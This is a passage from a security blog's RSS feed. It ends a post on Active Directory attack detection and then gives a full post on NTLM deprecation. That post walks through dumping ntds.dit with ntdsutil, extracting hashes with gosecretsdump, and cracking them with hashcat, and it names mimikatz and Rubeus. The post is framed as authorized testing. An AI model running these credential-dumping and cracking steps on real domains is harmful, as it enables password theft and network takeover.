<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th><strong>Event ID</strong></th>
              <th><strong>Description</strong></th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>4887</strong></td>
            <td>Tracks the issuance of certificates; suspicious certificates or SAN requests should be investigated.</td>
        </tr>
        <tr>
            <td><strong>4876</strong></td>
            <td>Backup of CA databases; unauthorized backups may indicate an attempt to exfiltrate sensitive certificate data.</td>
        </tr>
    </tbody>
  </table>
</div>

<h2 class="relative group">The importance of proactive monitoring and early detection
    <div id="the-importance-of-proactive-monitoring-and-early-detection" class="anchor"></div>
    
</h2>
<p>Mitigating <strong>Active Directory attacks</strong> is crucial, but <strong>early detection</strong> can significantly reduce the damage caused by a compromise. Implementing robust monitoring tools and setting up <strong>alerts</strong> for unusual behavior ensures that potential breaches are caught quickly.</p>
<ul>
<li><strong>Track security events</strong>: Regularly review event logs for password changes, Kerberos ticket requests, and privilege escalations.</li>
<li><strong>Monitor Kerberos tickets</strong>: Identify any unusual patterns in service ticket requests, especially those targeting high-privilege accounts.</li>
<li><strong>Log PowerShell activity</strong>: Many attackers use PowerShell for post-exploitation activities, making it essential to monitor scripts for suspicious behavior.</li>
</ul>

<h2 class="relative group">Defender for Identity Security Posture Recommendations
    <div id="defender-for-identity-security-posture-recommendations" class="anchor"></div>
    
</h2>
<p>Microsoft recently released a tons of new posture recommendation, also for Microsoft Defender for Identity, which covers the majority of the attacks mentioned above.</p>
<p>Take a look at the blog post here:<br>
<a href="https://www.modernsecurity.nl/microsoft-defender-for-identity-posture/" >https://www.modernsecurity.nl/microsoft-defender-for-identity-posture/</a></p>

<h2 class="relative group">Final thoughts on Active Directory security
    <div id="final-thoughts-on-active-directory-security" class="anchor"></div>
    
</h2>
<p>Securing <strong>Active Directory</strong> is essential for maintaining the overall security posture of your enterprise. By understanding common attack techniques, implementing <strong>mitigations</strong>, using the right <strong>tools</strong>, and employing effective <strong>detection mechanisms</strong>, organizations can significantly reduce their attack surface and improve <strong>cyber resilience</strong>. Stay proactive in monitoring your AD environment and regularly audit its security configurations to maintain control and prevent potential compromises.</p>
]]></content:encoded><media:content url="https://www.modernsecurity.nl/detecting-mitigating-active-directory-compromises/featured_hu_dd647bacfc49a598.jpg" medium="image" type="image/jpeg" width="1200" height="675"/><enclosure url="https://www.modernsecurity.nl/detecting-mitigating-active-directory-compromises/featured_hu_dd647bacfc49a598.jpg" type="image/jpeg" length="110680"/></item><item><title>Microsoft deprecates NTLM and why this is an important step</title><link>https://www.modernsecurity.nl/microsoft-deprecates-ntlm/</link><guid isPermaLink="true">https://www.modernsecurity.nl/microsoft-deprecates-ntlm/</guid><pubDate>Thu, 06 Jun 2024 21:04:00 +0100</pubDate><dc:creator>Farid Kalaidji</dc:creator><category>Security</category><category>Microsoft Entra ID (Azure AD)</category><description>Microsoft deprecates NTLM, this post is about why and the importance of Kerberos. Also demonstrating how to easily crack NTLM hashes with Hashcat.</description><content:encoded><![CDATA[
<h2 class="relative group">Introduction
    <div id="introduction" class="anchor"></div>
    
</h2>
<p>Microsoft deprecates <strong>NTLM</strong> (New Technology LAN Manager) and recommends transitioning to <strong>Kerberos</strong> as the primary authentication protocol. Kerberos is known for its enhanced cryptography and server authentication capabilities compared to <strong>NTLM</strong>.</p>
<p><a href="https://aka.ms/ntlm"  target="_blank" rel="noreferrer">https://aka.ms/ntlm</a></p>
<p>With the deprecation of NTLM, the method of <strong>cracking NTLM hashes</strong> from Active Directory will become obsolete. Kerberos uses different mechanisms for authentication which do not rely on the same type of vulnerable hashing as NTLM. Therefore, the techniques used to crack NTLM hashes <em>will not be applicable to Kerberos authentication traffic</em>.</p>
<p>The transition to Kerberos is part of Microsoft’s effort to improve security. <strong>NTLM</strong> has been known for its vulnerabilities, including weak encryption algorithms like MD4 and DES, making it susceptible to brute-force attacks. <strong>Kerberos</strong>, on the other hand, provides a more secure authentication method that is less prone to such attacks.</p>
<p>As Microsoft deprecates <strong>NTLM</strong>, organizations and individuals who are involved in security testing or ethical hacking will need to update their skills and tools to work with <strong>Kerberos</strong> and other modern authentication protocols. Sadly, I think this will take some time for organisations to move away from <strong>NTLM</strong>, but lets see. I’m happy that Microsoft deprecates <strong>NTLM</strong>, that’s a fact!</p>

<h2 class="relative group">What is password hash (NTLM) cracking in Active Directory?
    <div id="what-is-password-hash-ntlm-cracking-in-active-directory" class="anchor"></div>
    
</h2>
<p>Active Directory, a service provided by Microsoft, is a directory service for Windows domain networks. It is involved in various tasks, including managing user data, security, and distributed resources, and enabling interoperation with other directories.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Diagram of Azure Active Directory connecting on-premises, cloud apps and devices"
    width="1485"
    height="785"
    src="https://www.modernsecurity.nl/microsoft-deprecates-ntlm/main_hu_fe3fd0b2deb9b57c.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-deprecates-ntlm/main.webp"></figure><p>Password hash cracking in AD involves attackers trying to determine the plaintext value of a hashed password stored of objects in the AD database. Attackers often use techniques like brute force, dictionary attacks, or rainbow table attacks to crack these hashes.</p>
<p>In an AD environment, once attackers compromise a single machine, they can use the hashed passwords they’ve cracked to move laterally, potentially gaining access to many parts of the network (also towards Azure and Entra ID – most companies sync their AAD sync accounts and privileged users there too).</p>

<h2 class="relative group">Step 0 – How easy is it to crack NTLM hashes?
    <div id="step-0-how-easy-is-it-to-crack-ntlm-hashes" class="anchor"></div>
    
</h2>
<p>Well, pretty easy. I though it would be nice to demonstrate why Microsoft deprecates <strong>NTLM</strong> and how easily you can brute-force or retrieve passwords from known hashes and password dumps with tools like <strong>hashcat</strong>.</p>
<p>It’s important to note that cracking hashes without authorization is illegal and unethical, and such activities should only be performed by professionals within the scope of their work and with proper permissions.</p>
<p>Follow the steps below if this the case…</p>

<h2 class="relative group">Step 1 – Retrieving NTLM hashes from you Active Directory
    <div id="step-1-retrieving-ntlm-hashes-from-you-active-directory" class="anchor"></div>
    
</h2>
<p>Retrieving hashes from Active Directory using <strong>ntdsutil</strong> is a sensitive operation. Again #2: it’s crucial to understand that only authorized personnel should perform this task due to the potential exposure of sensitive information.</p>
<p>If you’re planning to carry out extracting the hashes, do it manually first. I recommend going through these steps at least once to familiarize yourself with the configuration. Please ensure that you perform these steps from your <strong>Active Directory server</strong>:</p>
<ol>
<li><strong>Create a Snapshot of Active Directory Database</strong>
<ul>
<li>Open a command prompt as an Administrator.</li>
<li>Type <code>ntdsutil</code> and press Enter.</li>
<li>At the <code>ntdsutil</code> prompt, type <code>snapshot</code> and press Enter.</li>
<li>At the <code>snapshot</code> prompt, type <code>activate instance ntds</code> and press Enter.</li>
<li>Then type <code>create</code> and press Enter. This will create a snapshot of the Active Directory database.</li>
<li>Type <code>quit</code> twice to exit <code>ntdsutil</code>.</li>
</ul>
</li>
<li><strong>Mount the Snapshot</strong>
<ul>
<li>Again, open <code>ntdsutil</code> in a command prompt as an Administrator.</li>
<li>Type <code>snapshot</code> and press Enter.</li>
<li>At the <code>snapshot</code> prompt, type <code>list all</code> and press Enter. This will list all snapshots.</li>
<li>Find the snapshot you just created, and type <code>mount {GUID}</code>, replacing <code>{GUID}</code> with the GUID of the snapshot.</li>
<li>Note the directory where the snapshot is mounted.</li>
<li>Type <code>quit</code> twice to exit <code>ntdsutil</code>.</li>
</ul>
</li>
</ol>
<p>For the next time, you can also use <strong>ntdsutil</strong> from the commandline, with a small snippet and you can skip the manual steps:</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">ntdsutil &#34;ac i ntds&#34; &#34;ifm&#34; &#34;create full c:\temp-folder-for-your-ntds-backup&#34; quit quit</span></span></code></pre></div></div>

<h2 class="relative group">Step 2 – Extracting NTLM hashes
    <div id="step-2-extracting-ntlm-hashes" class="anchor"></div>
    
</h2>
<p>The subsequent step involves extracting the hashes (formatted as domain\uid:rid:lmhash:nthash) from the files you’ve generated with <strong>ntdsutil</strong>. There are several tools and scripts available for this purpose. The most frequently used is the <strong>secretsdump.py</strong> script from the <strong>Impacket Python library</strong>, which comes pre-installed on Kali Linux.</p>
<p>For additional details, you can visit the following page: <strong>Impacket</strong> <a href="https://github.com/fortra/impacket/blob/master/examples/secretsdump.py"  target="_blank" rel="noreferrer">GitHub page</a></p>
<p>If you’ve previously used <strong>secretsdump.py</strong>, you might have noticed that it can be quite time-consuming. That’s why I prefer using <strong><a href="https://github.com/c-sto/gosecretsdump"  target="_blank" rel="noreferrer">gosecretsdump</a></strong> these days. It’s a highly efficient and reliable fork of <strong>Impacket</strong>, written in Golang, and is approximately ten times faster.</p>
<p>Before proceeding, ensure that you have a Linux (Ubuntu) or Kali Linux machine. Then, follow these steps:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">Bash</div><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">wget https://github.com/C-Sto/gosecretsdump.git
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> gosecretsdump
</span></span><span class="line"><span class="cl">go run main.go -ntds /home/username/Extracted/ntds.dit -system /home/username/Extracted/SYSTEM -out /home/username/export.txt</span></span></code></pre></div></div>
<p>Make sure you choose the correct paths for your extracted <strong>ntdis.dit</strong>, <strong>SYSTEM</strong> and export file (for the hashes). <strong>Gosecretsdump</strong> contains several commands you can use, refer to this:</p>
<p><a href="https://github.com/c-sto/gosecretsdump"  target="_blank" rel="noreferrer">https://github.com/c-sto/gosecretsdump</a></p>
<p>When you open the export file, you probably see an export of each user account or object in your Active Directory in this format:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">XML</div><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="nt">&lt;Username&gt;</span>:<span class="nt">&lt;User</span> <span class="err">ID</span><span class="nt">&gt;</span>:<span class="nt">&lt;LM</span> <span class="err">hash</span><span class="nt">&gt;</span>:<span class="nt">&lt;NT</span> <span class="err">hash</span><span class="nt">&gt;</span>:<span class="nt">&lt;Comment&gt;</span>:<span class="nt">&lt;Home</span> <span class="err">Dir</span><span class="nt">&gt;</span>:</span></span></code></pre></div></div>
<p>The LM hash should be the same (<code>aad3b435b51404eeaad3b435b51404ee</code>), but the NT hash is the information you need to crack/reveal the AD password(s):</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">woodgrovedemo.nl\user1:1314:aad3b435b51404eeaad3b435b51404ee:8397b997d63ceaac54bfb668c1df408e:::
</span></span><span class="line"><span class="cl">woodgrovedemo.nl\user2:1316:aad3b435b51404eeaad3b435b51404ee:0b446183b62698a4c8244c4fd05f8e5b:::
</span></span><span class="line"><span class="cl">woodgrovedemo.nl\user3:1317:aad3b435b51404eeaad3b435b51404ee:a0a185fb6c4af7572c8c3a9b22f65bd1:::
</span></span><span class="line"><span class="cl">woodgrovedemo.nl\user4:1318:aad3b435b51404eeaad3b435b51404ee:51d296acab46bda7be7b9cc4e0a76ad9:::
</span></span><span class="line"><span class="cl">woodgrovedemo.nl\user5:1319:aad3b435b51404eeaad3b435b51404ee:d8cf73482d2881cfa2527af973dcfc99:::
</span></span><span class="line"><span class="cl">woodgrovedemo.nl\user6:1320:aad3b435b51404eeaad3b435b51404ee:767d34df5630f36a37b2c10aa1db26ab:::
</span></span><span class="line"><span class="cl">woodgrovedemo.nl\user7:1321:aad3b435b51404eeaad3b435b51404ee:e5d11b40eee8683f4b5b06b0019a369f:::
</span></span><span class="line"><span class="cl">woodgrovedemo.nl\user7:1322:aad3b435b51404eeaad3b435b51404ee:271551af8082f23ce2231fe3183aa603:::</span></span></code></pre></div></div>

<h2 class="relative group">Step 3 – Using Hashcat
    <div id="step-3-using-hashcat" class="anchor"></div>
    
</h2>
<p><strong>Hashcat</strong> is a versatile, open-source password cracking tool used extensively in cybersecurity and information security. It’s designed to recover passwords from various cryptographic algorithms and hash types through brute-force, dictionary, and hybrid attacks etc. Essentially, it systematically tries all possible password combinations until it discovers the correct one.</p>
<p>In my example, I will be using a wordlist (dictionary), to test them against the NTLM hashes in my dump. I could also try to recover passwords by rainbow tables or by brute-forcing them, but that strongly depends on the algorithm, the VM used, GPU etc. You’ll have to decide the goal and the solution you want to use.</p>
<p>The ultimate goal is to retrieve all the passwords, but that might take a while. On the bright side the cracking speed will be shorter every year:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Source: Google (these numbers might be up-to-date but this is just as an example)"
    width="902"
    height="656"
    src="https://www.modernsecurity.nl/microsoft-deprecates-ntlm/crackingspeed_hu_9237e76ae622db4d.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-deprecates-ntlm/crackingspeed.webp"></figure><p><sup>Source: Google (these numbers might not be up-to-date but this is just as an example 🙂 )</sup></p>
<p>If you want to go for the easy way; where do you get the wordlists from? There are plenty of websites offering VERY good lists, with weak passes. Check out <a href="https://weakpass.com/"  target="_blank" rel="noreferrer">https://weakpass.com/</a> – they have 300GB+ of all-in-one lists and those are great. In my example I crafted a list of passwords for myself, with only Dutch passwords and saved it in a .txt format.</p>
<p>Now we are going to use <strong>Hashcat</strong>, you can also use <strong>John the Ripper</strong> or any other tool. But I’m using Hashcat the most, I think it’s very effective and has plenty of options (also for other hashing algorithms). Refer to their Wiki if you want to learn more about the options: <a href="https://hashcat.net/wiki/doku.php?id=example_hashes"  target="_blank" rel="noreferrer">https://hashcat.net/wiki/doku.php?id=example_hashes</a>.</p>
<p>On my Kali Linux machine (forgot to mention I’m using an F-type machine on Azure) I can start cracking the hashes by the following command (make sure to use the export.txt file with hashes and after that the list of passwords):</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">hashcat -a 0 -m 1000 export.txt dutch_passwordlist.txt</span></span></code></pre></div></div>
<p>After some time, you’ll get the results from <strong>Hashcat</strong> (yet again it depends on the quality of the wordlist, the VM, GPU, how many hashes to scan etc.). But here you go, easy as that:</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Hashcat output with cracked NTLM hashes from a Dutch password list"
    width="912"
    height="964"
    src="https://www.modernsecurity.nl/microsoft-deprecates-ntlm/afbeelding_hu_b16cc2362a415a4e.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/microsoft-deprecates-ntlm/afbeelding.webp"></figure>
<h2 class="relative group">Are there any other flaws in NTLM which make it weak?
    <div id="are-there-any-other-flaws-in-ntlm-which-make-it-weak" class="anchor"></div>
    
</h2>
<p>Regardless of the hash cracking part, the reason Microsoft deprecates <strong>NTLM</strong> is also because NTLM has some other flaws:</p>
<ol>
<li><strong>Lack of mutual authentication</strong>: NTLM lacks mutual authentication. While the client verifies its identity to the server, the reverse is not true. This one-way authentication process can be exploited by attackers.</li>
<li><strong>Outdated hashing and encryption algorithms</strong>: NTLM uses outdated hashing and encryption algorithms, which are more susceptible to cryptographic attacks compared to modern standards. These vulnerabilities can compromise the security of user credentials.</li>
<li><strong>Challenge-response mechanism</strong>: NTLM relies on a challenge-response mechanism using hashed versions of user passwords. This approach has inherent weaknesses, including the possibility of pass-the-hash attacks.</li>
<li><strong>Downgrade attacks</strong>: Attackers can manipulate NTLM to downgrade security features, potentially leading to full domain compromise.</li>
</ol>

<h2 class="relative group">So Kerberos cannot be cracked?
    <div id="so-kerberos-cannot-be-cracked" class="anchor"></div>
    
</h2>
<p>Regarding the possibility of <strong>Kerberos</strong> being cracked, while Kerberos is considered one of the most secure authentication protocols, no system is <em><strong>entirely invulnerable</strong></em>. There are known attacks such as <strong>Kerberoasting</strong>, <strong>Pass-the-Ticket</strong>, and <strong>Golden Ticket</strong> attacks that can exploit certain weaknesses in Kerberos.</p>
<p>However, these attacks require a significant level of access or knowledge about the network and are not as straightforward as cracking <strong>NTLM</strong> hashes. By following the security measures mentioned below, the risk of such attacks can be greatly reduced:</p>
<ol>
<li><strong>Strong password policies</strong>: Implement strong password policies to make it difficult for attackers to crack passwords associated with Kerberos tickets (YES so either way make sure always to use strong passwords/complexity/lenght).</li>
<li><strong>Regularly update and patch</strong>: Keep your systems updated with the latest security patches to protect against known vulnerabilities.</li>
<li><strong>Service Principal Name (SPN) Management</strong>: Properly manage SPNs to prevent Kerberoasting, which involves service accounts.</li>
<li><strong>Monitor and Audit</strong>: Regularly monitor and audit Kerberos authentication for any unusual activities that could indicate an attack.</li>
<li><strong>Disable unused accounts</strong>: Disable or remove unused accounts and services that might be targeted in Kerberos attacks.</li>
<li><strong>Educate users</strong>: Train users on security best practices to prevent social engineering attacks that could compromise Kerberos authentication.</li>
<li><strong>Use advanced encryption</strong>: Employ strong encryption methods like AES for encrypting Kerberos tickets to enhance security.</li>
<li><strong>Limit privileges</strong>: Apply the principle of least privilege to minimize the potential impact of a compromised account (I recommend tiering, tiering and tiering).</li>
<li><strong>Tooling:</strong> Use tooling like <a href="https://github.com/SpecterOps/BloodHound"  target="_blank" rel="noreferrer">Bloodhound</a>, <a href="https://github.com/GhostPack/Rubeus"  target="_blank" rel="noreferrer">Rubeus</a>, <a href="https://github.com/gentilkiwi/mimikatz"  target="_blank" rel="noreferrer">MimiKatz</a> etc. to identify risks in your own environment (or even break them) and look if you’re vulnerable.</li>
<li><strong>Entra ID:</strong> Don’t forget to test/assess your Entra ID too (<a href="https://github.com/dirkjanm"  target="_blank" rel="noreferrer">Dirkjanm created some great tools like ROADtools and Bloodhound-Azure-AD</a>)</li>
</ol>
<p><strong>Also check out my newest blog on hardening Active Directory here: <a href="https://www.modernsecurity.nl/detecting-mitigating-active-directory-compromises/" >https://www.modernsecurity.nl/detecting-and-mitigating-active-directory-compromises-a-comprehensive-guide/</a></strong></p>

<h2 class="relative group">Conclusion
    <div id="conclusion" class="anchor"></div>
    
</h2>
<p>While Microsoft deprecates NTLM is a positive step toward enhanced security, it’s essential to recognize that Active Directory remains a critical component for many organizations. Legacy systems and dependencies necessitate its continued use. Our focus should shift toward securing Active Directory effectively. By implementing best practices, regular audits, and robust access controls, we can mitigate risks and ensure a safer environment for user authentication and authorization.</p>
]]></content:encoded><media:content url="https://www.modernsecurity.nl/microsoft-deprecates-ntlm/featured_hu_5eb2f8c3a160a840.jpg" medium="image" type="image/jpeg" width="1200" height="800"/><enclosure url="https://www.modernsecurity.nl/microsoft-deprecates-ntlm/featured_hu_5eb2f8c3a160a840.jpg" type="image/jpeg" length="101958"/></item></channel></rss>